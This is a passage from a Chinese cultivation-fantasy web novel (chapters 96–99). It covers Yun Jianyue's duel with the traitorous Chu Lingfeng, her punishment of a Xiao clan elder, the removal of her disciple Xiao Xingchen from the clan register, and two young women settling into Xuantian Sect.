萧宴看着云见月那绝世独立的风姿和碾压般的无敌实力,眼中的痴迷几乎要化为实质流淌出来。 “啊——”就在这时,困住苏擎天的厚重冰雕轰然炸裂。 他震碎了浑身冰层,双目冲血,再次不顾一切地冲天而起。 “云见月!我跟你拼了!”他嘶吼着,烈焰几乎将他自身都点燃。 云见月眉头紧蹙,气息已不如最初平稳,但仍全力应对着这同归于尽般的打法。 就在苏擎天一次全力劈砍落空,云见月侧身闪避的那一刹那间—— 一道阴毒刁钻至极的剑气,毫无征兆地从云见月背后劈来。 剑气快如闪电。 “云见月——小心——!!!” 两道不同的声音,同时出现。 一道来自于虞青焰。 而另一道,则是女人的声音。 这声尖叫,如同惊雷般令苏擎天的攻势猛地一滞,赤红的眼中闪过一丝茫然。 而云见月迅速躲开。 “嗤啦!” 剑气几乎是贴着她的衣衫掠过,将她的一片白衣削落。 偷袭,落空! 楚凌风的身影,彻底暴露在了所有人的目光之下。 苏擎天不敢置信地看向声音的来源方向。 只见,一条庞大的青色巨蛇由远及近急速飞来,蛇首之上,坐着一个身着破损粉霞衣裙的身影,她发丝凌乱,浑身染血,脸色苍白如纸。 正是苏心瑶! “瑶…瑶儿?!”苏擎天老泪瞬间纵横,声音颤抖得不成样子,“你…你没死?这到底是怎么回事?你不是被……” 苏心瑶看向楚凌风的眼神充满了刻骨的恨意与后怕。 她虚弱地开口:“爹!是楚凌风,他骗我……他要杀我,他用我的血伪造了玉简传讯,他想嫁祸给云见月!” “什么?”苏擎天如遭雷击,旋即无边的怒火瞬间吞噬了他,他怒视楚凌风,“楚凌风,瑶儿那么喜欢你,你为何要对她下此毒手?” 见事情彻底败露,楚凌风脸上那伪装的温和荡然无存,只剩下阴冷的狰狞。 “哼,谁让你这个好女儿如此不识抬举,她竟敢跟我讲什么宗门大义、不愿为天元宗树敌? 可笑!既然不能为我所用,那就用她的死来做最后的贡献吧! 杀了她,嫁祸给云见月,届时,你们天元宗就会成为我手中最利的刀,替我除去云见月,可惜…功亏一篑了!” 苏擎天盯着楚凌风那张曾被女儿夸赞‘温润如玉’的脸,又看看女儿衣裙上浓烈的血迹,喉间发出困兽般的呜咽。 他想起苏心瑶幼时总爱往他怀里钻,说长大了要嫁个像爹爹一样爱重她的男人。 而此刻,瑶儿向往的男人,竟是个卑鄙无耻的小人。 “畜生——我杀了你——” 下一秒,苏擎天被一只手拦住。 云见月挡在他身前,目光冷冽地直视楚凌风,声音不容置疑:“退下。” 苏擎天一愣,急道:“他伤我女儿,我定要亲手了结这个畜生!” “你连我都打不过,还想对付炼虚期的他?送死吗?楚凌风是我的猎物。” 苏擎天面色一阵青白交错,可云见月说的是事实。 自己连化神中期的她都打不过,更别提炼虚期的楚凌风了。 他一咬牙,不甘不愿地退后数丈,将战场让出。 天上,此刻只剩下云见月和楚凌风。 寒风卷过,吹动云见月的衣袂和墨发,她看着道貌岸然的楚凌风,眼中一片冰寒。 “楚凌风,我是真没想到你会做出栽赃嫁祸的勾当,你如今变得越来越面目可憎了。” 楚凌风脸上肌肉抽搐。 “过程不重要,结果才最重要。今日你气力已耗大半,还能翻出什么浪花?能死在我手下,也是你的荣幸。” “荣幸?”云见月忽然极轻地笑了一下,“你以为你赢定了?” “不然呢?今日,我便让你知道,境界的差距,是无法弥补的。” 他驱动灵力,周身瞬间蔓延出无数狰狞的藤蔓,铺天盖地地抽向云见月。 速度快得肉眼几乎无法捕捉。 云见月瞳孔一缩,催动所剩不多的灵力,冰墙瞬间凝结。 然而,炼虚期的力量远超化神。 “嘭!咔嚓!” 冰墙仅仅阻挡了一瞬便轰然炸裂。 一道粗壮的藤蔓狠狠抽打在云见月匆忙格挡的手臂上。 一股钻心蚀骨的剧痛瞬间传来,她整个人从高空急速坠落。 下方众人发出惊呼。 就在她即将触地的最后一秒,云见月周身爆发寒气,冰爆反冲,硬生生止住了坠势,她稳稳落地。 “云见月!”虞青焰瞬间出现在她身旁,“把他交给我,我一息让他见阎王。” 云见月一把拉住虞青焰,阻止了他。 “我说过,他是我的试刀石。” “可是......”虞青焰还想在劝,却被云见月冷声打断。 “今日你为我挥剑,明日谁替我挡箭?后日若烽烟再起,难道要你化作风影寸步不离?” 她忽然勾唇浅笑,“你忘了,我吃了那么多宝贝,是死不了的。” 虞青焰眸色一深,“可你会疼!” 云见月望向空中志在必得的楚凌风,声音平静得可怕: “那便疼吧。” “我愿以这不死之躯,焚尽宿敌,燃尽命运——” 她一字一顿,如同立下最残酷的誓言。 “直至最后一刻,不死不休。” 话音落下,她吃了一颗丹药,灵力瞬间恢复如初。 第97章 用不要命的打法,逼着自己变强 “真是不知死活。”楚凌风凌空而立,俯视着再度凝聚寒气的云见月,唇角勾起一抹极尽轻蔑的冷笑,那眼神仿佛在看一只试图撼树的蜉蝣。 “既然你执意寻死,那我便大发慈悲,成全你!” 云见月不为所动。 她身影急冲而上,与此同时,周身冰雾骤然暴涨,三千冰剑在她身后凝结成形,剑尖齐刷刷对准了上方的楚凌风。 随着她玉手一挥,万剑齐发。 无数冰剑铺天盖地地射向楚凌风。 楚凌风眼中轻蔑不减,身上金光一闪,一面厚重无比的金色护盾瞬间出现在身前。 “轰隆隆——” 冰剑撞击在金色护盾之上,炸起万千冰棱与火星,萧家残存的屋檐在余波中轰然倒塌。 就在金色护盾全力抵挡冰剑洪流的那一刹那,云见月的身影已然化作一道几乎看不清的淡蓝色残影。 再出现时,她竟已诡异地站在楚凌风面前。 她的掌心早已凝聚出冰蓝色的灵力,幽幽蓝光照应出楚凌风脸上惊惧的表情。 云见月一掌,直直拍向楚凌风丹田小腹要害。 楚凌风万万没想到,云见月的速度竟会快到如此匪夷所思的地步。 上一次双方在灵墟秘境交手,他尚在突破炼虚期的紧要关头,仅仅化神初期的云见月在他手下毫无还手之力。 这才过去了短短一个月,这贱人不仅突破到了化神中期,实力更是发生了天翻地覆的变化,竟能眨眼间突破他的防御,威胁到他的本体? 惊愕瞬间被滔天怒火取代。 楚凌风体内五行灵根疯狂运转,金木水火土五色灵光骤然从他体内爆发而出。 华丽而坚固的护罩瞬间覆盖全身,将他包裹得严严实实。 与此同时,无数布满尖刺的青藤凭空出现,瞬间缠绕上近在咫尺的云见月,死死束缚住她的行动。 更可怕的是,苍穹之上,五行灵力疯狂汇聚,眨眼间凝聚出数以万计的剑气虚影。 金锐、木刺、水箭、火矢、土刃……密密麻麻,遮天蔽日,所有剑尖尽数对准了被青藤困住的云见月,杀机凛然。 云见月与楚凌风四目相对。 她苍白的脸上非但没有恐惧,反而勾起一抹冰冷而诡异的弧度。 她完全不顾周身缠绕得越来越紧、刺入皮肉的藤蔓,也无视了头顶那足以将她万剑穿心的死亡剑阵,双手反而死死抓住身上的藤蔓。 掌心那原本拍向楚凌风小腹的冰蓝色灵光非但没有消散,反而以更加狂暴的方式注入藤蔓之中,并在下一刻,悍然引爆。 她那完全不顾自身生死的疯狂打法,甚至让楚凌风都出现了一瞬间的惊骇。 “轰——!!!” 冰寒之气猛地爆炸开来。 缠绕她的青藤瞬间被炸成齑粉。 恐怖的气浪将云见月狠狠地震飞出去,在空中失控地翻转了数圈才勉强稳住身形。 只见她双手已是血肉模糊,一身白衣被炸得破碎不堪,露出的肌肤鲜血淋漓,伤痕深可见骨,看上去凄惨无比。 而楚凌风虽有灵力护体,但因为距离太近了,他身上的护罩被冰爆之力炸得裂纹遍布,灵光黯淡,甚至不少地方已然破碎。 更让他憋屈的是,苍穹之上那刚刚凝聚的、声势浩大的万剑绝杀之阵,因这突如其来的爆炸干扰和灵力反噬,竟不等发出便剧烈波动,旋即轰然消散于无形。 他,炼虚期大能,竟然被一个化神中期的女人,用这种自残的方式,弄得如此狼狈。 虽然只是轻伤,但这份羞辱却远超肉体疼痛。 他的自尊心受到了前所未有的打击。 “贱人!我要将你碎尸万段!” 只见楚凌风周身腾起百丈高的五行真火,将整片天空烧得通红。 他猛地祭出本命剑,五行灵力毫无保留地注入剑身,一道融合了五种属性、色彩斑斓却又散发出毁灭气息的恐怖剑气撕裂长空,悍然斩落。 下方。 萧家众人早已看得目瞪口呆。 刚才云见月越级打败两位化神后期,令他们感到震撼,但修真界并非没有此等先例。 可如今,她竟以化神中期修为,硬撼炼虚初期大能,不仅接下了攻击,甚至还用那种惨烈的方式伤到了对方。 这在整个下域修真史上,都堪称骇人听闻。 她的强大,已经彻底超出了他们的理解和认知范畴。 萧老爷子面色灰败,心中悔恨至极。 早知萧星尘的师尊厉害至此,他当初怎会对萧星尘那般冷漠无视? 又怎会因萧凡在坊市被羞辱那点小事,就纵容族人折辱萧星尘? 这简直是给萧家招来了灭顶之灾! 再说天空之上,面对那撕裂而来的五行剑气,云见月眼神凛冽如万载寒冰。 她强压伤势,体内至寒灵力疯狂涌出,在空中急速凝成一道厚重无比的玄冰盾墙。 “铿——咔嚓!!” 恐怖剑气狠狠斩入冰盾,深入数尺,冰屑纷飞。 但最终,那狂暴的剑气竟被硬生生冻结、卡在了冰盾之中。 云见月身躯剧震,七窍出血。 强行越阶冻结如此攻击,带来的反噬极为剧烈,她的内脏都被震裂了。 但即便如此狼狈,她却还在咬牙坚持,几乎在冰盾格挡的瞬间,玉手一挥。 “还给你——” 那被冻结在冰盾中的五行剑气,竟被她强行剥离操控,调转方向,夹杂着无数呼啸的尖锐冰凌,向楚凌风激射而去。 楚凌风没想到她还有余力反击,又惊又怒,逼得他仓促竖起护盾抵抗住这一击。 他双手急速结印,杀招再起。 五行法术从四面八方封死了云见月所有可能的退路。 漫天流火与冰刃相撞的轰鸣中,云见月的白衣已被燎成破布,鲜血顺着伤口滴落。 她发了狠般运转冰灵力,霜华不断绽放试图冻结攻击,却又不断被更狂暴的五行之力击碎、蒸发。 她几乎是在用一种以伤换伤、以命搏命的残酷打法,强行催动本源寒力,去冻结、抵消每一种属性的攻击。 她脸色苍白得透明,但双眼清澈坚韧,燃烧着永不屈服的战意。 "给我去死!"楚凌风五行灵力凝成的剑网笼罩而下,所过之处空间扭曲成漩涡。 天地失色,万物失声,仿佛只剩下这致命的五行炼狱,要将其中那抹白色的身影彻底绞杀。 就在这千钧一发之际—— “云见月,接住!” 虞青焰的声音如天籁破空而来。 一道流光破空,无视那恐怖的剑网威压,精准地奔向云见月。 云见月想也不想,几乎是本能地伸手一抓,一柄触手温凉、似玉非玉的折扇落入手中。 玉骨扇入手的瞬间,她周身气息陡然一变,扇面流云暗涌间,竟将铺天盖地的攻击尽数卸向四方。 楚凌风惊怒交加,手中长剑如同毒蛇出洞,骤然刺出,直取云见月心口。 云见月猛地展开玉骨扇,如同盾牌般竖于身前。 “嗤——!” 长剑刺入了扇骨之间的缝隙。 云见月手腕猛地一旋。 那插入剑刃的玉骨扇,竟以剑身为轴心,高速旋转起来。 扇骨与剑刃剧烈摩擦,发出尖锐锐响,迸射出无数细碎的火星。 旋转的扇面更是化作一团令人眼花缭乱的迷蒙光晕,瞬间干扰了楚凌风的视线。 云见月眼中寒光爆闪,另一只手并指如剑,凝聚起最后所有的力量,直刺楚凌风心脏要害。 楚凌风躲闪慢了一线。 “噗!” 极寒指风虽因他的闪避未能刺中心脏,却也将他左肩肩头瞬间洞穿,划开一道深可见骨的可怕血口。 刺骨的寒气瞬间侵入伤口,疯狂冻结他的经脉血肉。 楚凌风闷哼一声,炼虚期的恐怖灵力通过长剑爆发而出。 玉骨扇被震飞出去。 一剑带着滔天怒火,狠狠刺入云见月的肩胛骨上。 清晰的骨裂声响起。 庞大的冲击力让她如同断了线的风筝,喷出一口鲜血,从高空中无力地坠落下去。 “好啊!摔死她!” “哈哈哈!狂妄自大,活该!” “炼虚强者也敢挑衅,死有余辜!” 下方萧家众人中,顿时响起一片压抑不住的幸灾乐祸的欢呼咒骂声。 他们脸上洋溢着扭曲的快意,仿佛已经看到这个带给萧家无数羞辱的女人摔成肉泥的惨状。 唯有角落里的萧宴,猛地攥紧了拳头,指甲深深掐入掌心,眼中充满了无法掩饰的担忧和焦急,下意识就想冲出去接住那道坠落的身影。 可他刚一动,便猛地牵动了体内的伤势,五脏六腑如同移位般剧痛,“哇”地一声喷出一大口淤血,整个人虚脱无力地跌坐回去,只能死死盯着那抹不断坠落的染血白色。 突然,一道惊鸿闪过。 虞青焰及时出现,稳稳地将坠落的人接入怀中。 感受着怀里身躯的冰冷以及那遍布狰狞的伤痕,他素来平静无波的眼底,翻涌起滔天怒火。 他抬起头,看向刚刚稳住身形、捂着鲜血淋漓的肩膀、脸色铁青扭曲的楚凌风,眼中冰冷的紫电一闪而逝。 甚至没有人看清他是如何出手的,一道紫色雷霆就毫无预兆的轰击在楚凌风身上。 “轰——!!!” 楚凌风只来得及发出一声凄厉短促的惨叫,整个人便彻底被雷光吞噬,变得全身焦黑,冒着浓密的青烟,如同一个破麻袋般,从空中直直栽落下去,重重砸在远处的废墟之中,生死不知。 虞青焰收回目光,低头看着怀中几乎被鲜血染透的人,声音里带着一丝连他自己都未曾察觉的后怕。 “明知不敌,还要逞强,把自己弄成这副模样,你这岂不是自找苦吃?” 云见月靠在他温暖而坚实的怀里,脸色苍白如雪,却缓缓勾起一抹明亮的笑容,虚弱道: “岂能…毫无收获?” “今日我以化神中期之力,伤他炼虚之躯毫厘......” “他日,我便能以化神后期之力,断其道途,绝其生机。” “虞青焰,你信不信迟早会有那一天?” "不要命的疯子..."虞青焰没好气的低语被风声吞没。 他小心翼翼地托着云见月的后脑,指尖擦过她染血的发丝时微微发颤。 他无奈叹息一声,掏出一颗丹药,递到她苍白的唇边,“吃下去。” “等伤好了,你再继续去拼命。”他有些没好气地补充道,眼底深处却藏着一抹化不开的担忧。 云见月虚弱地笑了笑,依言将丹药含入口中。 丹药入口即化,药力瞬间流淌开来,她身上那些狰狞可怖的伤口,以肉眼可见的速度愈合,苍白的脸色也恢复了一丝红润。 她迅速从虞青焰怀中站直身体,第一时间看向楚凌风坠落的方向。 却丝毫没有注意到,在她离开怀抱的瞬间,虞青焰的手臂几不可查地僵了一下,怀中突如其来的空荡让他的心也仿佛跟着空了一块。 第98章 既然有眼无珠,那这双眼睛就别要了 废墟之中,苏擎天手持烈焰开山斧,直奔趴在地上一动不动的楚凌风。 “楚凌风,你这猪狗不如的畜生,给老子去死吧——” 怒吼声蕴含着一位父亲对女儿全部的疼爱,灼热的斧刃朝着楚凌风的脖颈狠狠砍下。 他要将这个伤害他女儿的败类碎尸万段。 就在那斧刃砍下来的刹那,异变陡生。 楚凌风猛然睁开了双眼,他强行催动灵力,一剑劈出。 剑气擦着苏擎天的耳畔疾射而过,凌厉的剑气削断他几缕花白的胡须,惊得苏擎天连连后退数步。 就是这电光火石间的空隙。 楚凌风一个飞身落到萧凡身边,抓住他,捏碎藏于掌心的遁地符。 “遁!” 土黄色光罩裹着楚凌风和萧凡没入地下,消失得无影无踪。 “混蛋!!!” 苏擎天看着空荡荡的地面,气得浑身发抖。 “竟让这无耻小人跑了。” 另一边。 云见月静静地看着这突如其来的一幕,她微微侧过头,清冷的目光落在身旁的虞青焰身上,“我还以为,刚才那一下,你会直接要了他的命呢。” 虞青焰那双深邃如星海的眸子里,清晰地映出她略显苍白却依旧冷静的容颜。 “你说过,他是你的试刀石。” “既如此,我便大发慈悲,留他一条性命。” 他将她的话深深记在心里,并愿意为此压下即刻的杀意,只为成就她更锋利的未来。 云见月微微扬眉,唇角勾起一抹了然的笑意:“还是你懂我。” 虞青焰被她这直白的认可看得心头一跳,有些不自然地移开了视线,耳尖不受控制地悄悄泛起一抹薄红。 他急忙握拳抵在唇边,掩饰性地咳嗽了一声,“咳…少自作多情!我只是希望你赶快变强一点,免得…免得哪天你被人杀了,我上哪儿再去找一个能做出那么合我胃口饭菜的人?” 云见月忍不住翻了个白眼,没好气道:“敢情你是把我当成你的专属厨子了?” 两人这旁若无人的自然交流,一丝不落地全部落在了角落里的萧宴眼中。 他挣扎着用手肘撑起上半身,指甲因用力而深深抠进身下混合着鲜血的泥地里,留下几道狰狞的划痕。 他死死盯着虞青焰,盯着他站在她身边的那份自然与亲近,盯着她对他露出的那种罕见的轻松愉悦的表情。 眼中翻滚的嫉妒如同毒气,几乎要喷涌而出。 凭什么?! 凭什么那个男人能如此理所当然地站在光芒万丈的她身边,得到她一丝半点的笑脸? 而自己,却只能像阴沟里的老鼠,拖着残破的身体,在肮脏的角落里用最见不得光的心思窥视、觊觎,连靠近的资格都没有? 虞青焰似有所感般回头看来。 萧宴迅速低头,将自己藏在阴暗处。 这时,萧星尘已经穿上了玄色外袍,小跑着来到云见月身边,仰起小脸,那双清澈得大眼睛里盛满了浓浓的心疼。 他小心翼翼地拉住云见月染血的衣袖,声音带着压抑的哭腔:“师尊…你一定很疼很疼……” 云见月心中一软,轻轻摸了摸他的头,笑容温暖而坚定,“疼,才能铭记于心啊。现在流的血,会熔铸进骨骼,沉淀入神魂,在未来化作最坚不可摧的铠甲与最锋锐的利刃。” 萧星尘用力地点头,黑白分明的眼睛里闪烁着坚毅的光,“弟子记住了!” 安抚好他,云见月缓缓站起身,脸上的温柔顷刻间褪去,取而代之的是一片冰封千里的寒意。 她拉着萧星尘的手,一步步走向那群噤若寒蝉的萧家人。 刚才那些叫嚣着让她去死、幸灾乐祸的萧家子弟和族人,此刻个个面无人色,浑身抖如筛糠,根本不敢抬头与她那双冰冷彻骨的眼眸对视。 云见月的目光扫过他们,清冷的声音不大,却如重锤般敲在每个萧家人的心上。 “我这个人,向来包容。” “对于无关之人的几句辱骂,也从不入心。” “但,唯有一件事,是我绝不容忍的,那便是欺负我的徒儿。” 她的目光精准地锁定在一位之前叫嚣得最厉害、此刻抖得最凶的头发花白的族老身上。 “刚才是你说,萧家能有如今的地位,也不全靠星辰爹娘的牺牲,乃是全族上下共同努力的结果,是吗?” 那族老跪在地上,全身颤抖的厉害,磕磕巴巴地求饶:“不…不是的,云宗主,老朽…老朽那是老糊涂了,胡说八道,是开玩笑的,当不得真,当不得真......” “开玩笑?”云见月眼神漠然,“可你的玩笑,一点也不好笑,还深深地伤害了本尊徒儿的心。” “你说,本尊该怎么罚你,才能让他释怀呢?” 那族老猛地抬头,眼中充满了惊恐。 刚刚云见月血战楚凌风不要命的样子,他清晰的看在眼里。 一个对自己都可以恨的下心的人,可想而至,对招惹了她的人,该是如何的心狠手辣。 其他萧家人也吓得大气不敢出,冷汗浸透衣襟。 “云宗主饶命,云宗主饶命啊!是老朽有眼无珠,老朽嘴贱,求您大人有大量,把我当个屁放了吧!” 族老磕头如捣蒜,额头瞬间一片血肉模糊。 云见月却仿佛没有听到他的求饶,只是冷冷地道:“既然有眼无珠,不识恩义,不辨是非,那这双眼睛留着也是无用。” 话音落下的瞬间,根本没人看清她是如何动作的,只见两道凝练到极致的寒煞之气一闪而逝。 “啊——我的眼睛!我的眼睛!” 那族老发出一声凄厉的惨叫,猛地捂住双眼,殷红的鲜血从他的指缝中汹涌而出,他痛苦地在地上疯狂翻滚、哀嚎,声音令人毛骨悚然。 萧家人被这狠辣果决、毫不留情的手段吓得魂飞魄散,不少人双腿一软,直接瘫坐在地,更有甚者直接尿了裤子。 云见月目光再次扫过在场面如死灰的人群,声音依旧平淡:“现在,还有谁有异议?” 所有人疯狂摇头,生怕慢了一点就会成为下一个被清算的对象。 “既然没有,”云见月淡淡道,“那便把星辰的名字,从萧家族谱上划去吧。” 萧老爷子闻言,如遭雷击,再也顾不得颜面和其他,老泪纵横地哀求道: “云宗主,万万不可啊!星尘他是我萧家血脉,是老夫嫡长子留下的唯一骨血啊,老夫知错了,求您再给萧家一个机会,老夫发誓,从今往后定将星尘视若眼珠,倾全族之力培养他,绝不再让他受半分委屈,求您了!” 云见月冷漠地看着他,眼神没有半分动摇。 “本尊不是在和你商量,而是通知。” 在她那强大无比的威压和刚刚那血淋淋的威慑下,萧老爷子所有哀求的话都被堵了回去。 他身体佝偻,却不得不屈辱地吩咐道:“…去…去取族谱来…” 在族老战战兢兢的见证下,萧老爷子颤抖着手,亲自执笔,在那象征着家族传承的厚重族谱上,找到了“萧星尘”三个字。 然后,那支笔仿佛有千钧重,他咬着牙,带着无比的悔恨与屈辱,用浓墨,狠狠地、决绝地划了下去。 每划一笔,都像割在他心上。 云见月看着这一切完成,才冷声道:“从此,萧星尘的荣辱、生死、道途,皆与你们萧家,再无任何瓜葛。你们萧家的兴衰,也再与他无关。” 她拉起萧星尘的小手,对虞青焰微微颔首,转身便欲离去。 “等等!”就在这时,苏心瑶强撑着虚弱的身体,跑过来,一把抓住云见月的衣袖。 “干嘛?”云见月停下脚步,冷眼看着她。 苏心瑶喘着气,语气却异常坚持,“我…我因为不肯帮楚凌风一起对付你,差点被他杀了,你难道不应该对我负责吗?” 云见月:“......”这是什么逻辑? “是楚凌风要杀你,与我何干?” “怎么无关?”苏心瑶理直气壮,“一切都是因你而起。我不管,你必须负责治疗好我的丹田,在没有彻底治好我之前,你去哪儿我就跟到哪儿,缠定你了。” 自从被青璃所救,被她化成蛇形带着来到萧家,为云见月澄清清白。 苏心瑶便意识到,赫赫有名的长春堂或许就是玄天宗的产业。 这么一个天大的机缘和救命稻草在眼前,她绝不能错过。 无论如何,都要先死死绑住云见月。 云见月懒得跟她多做纠缠,甩开她的手,一把抱起萧星尘,对虞青焰道:“走了。” 她身形一动,便化作一道流光御空而起。 虞青焰毫不犹豫地紧随其后。 苏心瑶大急,她的丹田伤势极重,修为已跌至金丹,若不能及时修补,修为还会继续下跌。 眼看着云见月和虞青焰就要飞远,她目光一扫,看到旁边巨大的青蛇正要腾空。 她也不知哪来的力气和勇气,不管不顾地跑过去,奋力一跳,紧紧抱住了青璃冰凉的蛇身,整个人趴伏在巨大的蛇躯上,冲着天空大喊:“云见月,我跟定你了,你别想甩掉我。” 青璃:“......”她冰冷的竖瞳闪过一丝无奈,但终究没有把苏心瑶甩下去。 下方的林思思见状,赶忙御剑追了上去,焦急地喊道:“瑶瑶,你抱紧点,小心别掉下来。” 苏擎天在下方面色大变,急得捶胸顿足:“瑶儿,我的傻女儿,那云见月性子冷硬得像冰块一样,她会欺负你的,你怎么还上赶子往她跟前凑啊。” 苏心瑶趴在高速飞行的蛇背上,强劲的气流吹得她几乎睁不开眼,她紧紧闭着眼,死死抱住蛇身,装作什么都没听见。 林凌之也是眉头紧锁,满脸担忧,“思思,照顾好瑶儿,若是云见月欺负你们,你第一时间给爹爹和宗主传讯。” 天空之中,云见月听着身后风中传来的隐约呼喊,余光瞄到那个趴在蛇背上耍赖的麻烦精,嘴角几不可查地抽搐了一下。 这甩不掉的牛皮糖,看来是沾上了。 第99章 苏心瑶死皮赖脸,非要住在玄天宗 玄天宗。 双脚刚一落地,苏心瑶和林思思就被眼前的景象震得忘记了呼吸。 映入眼帘的,不是她们想象中古朴甚至可能有些破旧的殿宇楼阁,而是一片在阳光下熠熠生辉、璀璨夺目的建筑群。 所有的殿宇,窗户上镶嵌的都不是寻常的油纸,而是整片整片纯净剔透的玻璃。 整个下域,也只有长春堂总店有玻璃。 没想到玄天宗的殿宇,安装的全都是玻璃,一大片,一大片的。 阳光毫无阻碍地穿透这些玻璃窗,将殿宇内部照得亮堂无比,光洁的地板反射着温润的光泽。 “天…天哪!”林思思捂住了嘴,眼睛瞪得溜圆,仿佛看到了神迹,“这些窗子全都是玻璃?!” 苏心瑶更像个第一次进城的乡下小丫头,噔噔噔跑到最近的一座偏殿前,伸手小心翼翼地触碰那光滑冰凉的平面。 “真的,真的是玻璃!”她惊呼出声,声音都变了调,“这么大!这么平整!长春堂都没有这么大,这里…这里居然所有窗户都是!” 两个大小姐彻底疯了,也顾不上什么大小姐的仪态,兴奋地在一座座殿宇间跑来跑去,仰着头,对着那些在阳光下闪闪发光的窗户发出连连惊叹。 “思思你看,这个偏殿也是。” “还有这个,这个炼丹房的窗户好大。” “哇!这个阁楼转角的地方竟然是弧形的玻璃,怎么做到的?!” 她们甚至推开一扇未关严的殿门,探头探脑地走了进去。 殿内更是明亮异常,纤尘不染。 而当她们的目光转向殿内一侧时,再次发出了足以掀翻屋顶的尖叫。 “啊——!!!” 那是一面与人等高的落地镜。 镜框是某种散发着淡淡清香的灵木雕刻而成,工艺精美。 而镜面,光滑如水,清晰无比,将她们俩因为奔跑而略显凌乱的发髻、写满震惊和兴奋的娇俏脸庞,都完完整整、分毫毕现地映照出来。 “这是镜子?”苏心瑶凑到镜前,几乎把脸贴上去,不敢相信地抚摸着自己的倒影,“怎么可以这么清楚?连我睫毛有几根都数得清。” 林思思也挤在旁边,对着镜子左照右照,扯了扯自己的衣角,小脸激动得通红:“我、我从来没看过这么清楚的自己,家里的铜镜都是模糊的。” 两人完全忘记了来玄天宗的最初目的,此刻眼里只剩下这些不可思议的玻璃和镜子,行为举止充满了少女的娇憨和对新奇事物的纯粹喜爱。 苏心瑶猛地转身,双眼放光地对林思思宣布:“我决定了!从今天起,我要住在玄天宗,死也不走了。” 林思思也激动地猛点头,挽住她的手臂:“我也要住在这里,这里太太太神奇了。” 云见月:“......” 看着那两个已经自作主张开始规划起来的大小姐,她一阵无语。 不是,你们两个住在别人家,难道都不问问主人的意见吗? 两人显然没这个自觉。 苏心瑶已经开心地掏出了传讯玉简,兴奋地传讯:【爹!我不回去了,我要住在玄天宗,您赶紧让人把我房间里那套粉霞色的鲛绡纱帐、还有我的梳妆台、我的玉榻……全都搬过来,我要把我的新房间布置成粉霞色,美美的!】 林思思也有样学样,拿出玉简:【爹!我也要住下,我的房间要水蓝色的,把我的东西都送来!】 两人巴拉巴拉对着玉简一顿输出,完全沉浸在对未来房间的美好规划中。 云见月揉了揉眉心,忍不住开口:“你们两个,真不打算回去了?” 两人这才注意到她,动作一致地把头摇成了拨浪鼓,异口同声:“不回去!” 云见月试图讲点道理:“那,你们好歹回去把行李收拾一下,再过来?” 苏心瑶立刻警惕地看向她,冷哼一声,一副“我早已看穿你”的表情:“别以为我不知道,等我们出了玄天宗,你肯定立刻关上护山大阵,不让我们进来了,我们才不上当,行李自会有人送过来。” 林思思也扬起下巴,附和道:“就是!我们才不走,一步都不离开。” 云见月:“......我这里可不养闲人。” “知道啦知道啦!啰嗦!”两人不耐烦地挥挥手,显然没把她的话听进去,转身又继续在宽敞明亮的主殿里转悠,摸摸这个,看看那个,时不时发出低低的惊叹。 两人跑来跑去,不知道跑哪去了。 才一会儿功夫,又爆发出一阵更高的尖叫。 云见月吓了一跳,还以为她们遇到了什么危险,瞬间闪身过去:“怎么了?” 却见两人合力从正厅抬出一个巨大的、莹白如玉的盆? 盆里装的不是水,而是满满一盆圆润饱满、散发着各异药香和灵光的丹药。 种类繁多,品相极佳,就这么随意地放在那里。 苏心瑶指着那盆丹药,声音都在发颤,眼睛瞪得比刚才看到玻璃还大:“你、你们玄天宗的丹药,都......都放在盆里?摆在大厅?!” 云见月看了一眼,语气平淡无奇,“嗯,炼得多了,没地方放。平时给孩子们当零嘴吃着玩的。” 当…零嘴…吃着玩??? 云见月一句话,再次让苏心瑶和林思思石化在原地,大脑仿佛被天雷劈过。 两人对视一眼,都从对方眼里看到了无以复加的震惊和狂喜。 丹药当零嘴? 还随便吃? 哈哈哈!她们两个发达了! 果然,死皮赖脸来玄天宗,是她们这辈子做过最正确、最明智的选择。 下一秒,两位大小姐也顾不上什么形象了,欢呼一声,扑到那盆丹药前,就跟八百年没吃过饭似的,抓起丹药就往嘴里塞,一边吃还一边含糊不清地赞叹。 “唔~这个好吃,清甜!” “这个灵气足,哇!感觉经脉好舒服。” 苏心瑶更是感觉到,几颗温养经脉的丹药下肚后,体内那不断逸散灵力的破损丹田,竟然被一股磅礴温和的药力包裹,下跌的修为瞬间就稳住了。 甚至还有一丝丝修复的迹象。 她先是一愣,随即激动得眼泪唰地就流了下来,一边呜呜呜地哭着,一边更拼命地往嘴巴里塞丹药,形象全无。 两人那副“饿死鬼投胎”加“喜极而泣”的二傻子模样,看得云见月嘴角直抽搐,最终无奈地摇了摇头,懒得再理会这两个活宝。 她走到殿中空旷处,一挥袖,紧接着,四个小小的身影欢呼着从秘境里跑了出来。 正是闭关修炼了一个月的鹿闻声、郁仙、江迷雾和苏渺渺。 “师尊!” “师尊我们出来啦!” 四个小家伙欢快地围住云见月,亲热地抱腿的抱腿,拉手的拉手。 云见月脸上露出了真切温柔的笑容,挨个摸了摸他们的头:“辛苦了。” 孩子们和她亲热了一会儿,就看到了一旁的萧星尘,立刻又围了上去,七嘴八舌地问:“大师兄大师兄,我们闭关这一个月,有没有发生什么好玩的事呀?” 萧星尘看着师弟师妹,便将今日回萧家祭拜、遭遇羞辱、师尊力战强敌、最终脱离萧家等事情,仔细说了一遍。 四个小家伙听得惊呼连连,时而气愤地捏紧小拳头,时而为师尊的威武欢呼,时而又为大师兄的经历感到难过和庆幸。 另一边,云见月和虞青焰坐在一起。 云见月望着嬉闹的孩子们,眼神温柔中带着一丝不易察觉的疲惫和坚定,她轻声道:“其实,和枯燥的修炼、无休止的争斗相比,我更喜欢带孩子,像现在这样看着他们平安快乐地长大。” 她顿了顿,声音低沉了几分:“可是没办法,这个世道,能真正存活下来、保护想保护的人,只能是强者。事态逼着我,不得不一步一步向上攀登,不敢有片刻停歇。” 她转过头,目光灼灼地看向虞青焰。 “所以,虞青焰——” “给我一个挑战你,超越你的机会吧。” 虞青焰被她这番突然其来却又发自肺腑的话说得一怔。 他看着她眼中那份不同于寻常女子的清醒和责任,只觉得她身上有种格外动人的智慧与光芒。 他唇角微勾,露出一抹玩味的笑容:“哦?你真的要挑战我?” “那是自然!”云见月站起身,气势昂扬,“我不仅要挑战你,我迟早还要超越你!” 虞青焰优雅地挑眉:“试试?” “试试就试试!”云见月话音未落,周身寒气乍起,身影如电,便朝着虞青焰攻去。 然而,还不等她靠近他,一股无形却浩瀚如星海的威压便轻轻松松地将她笼罩。 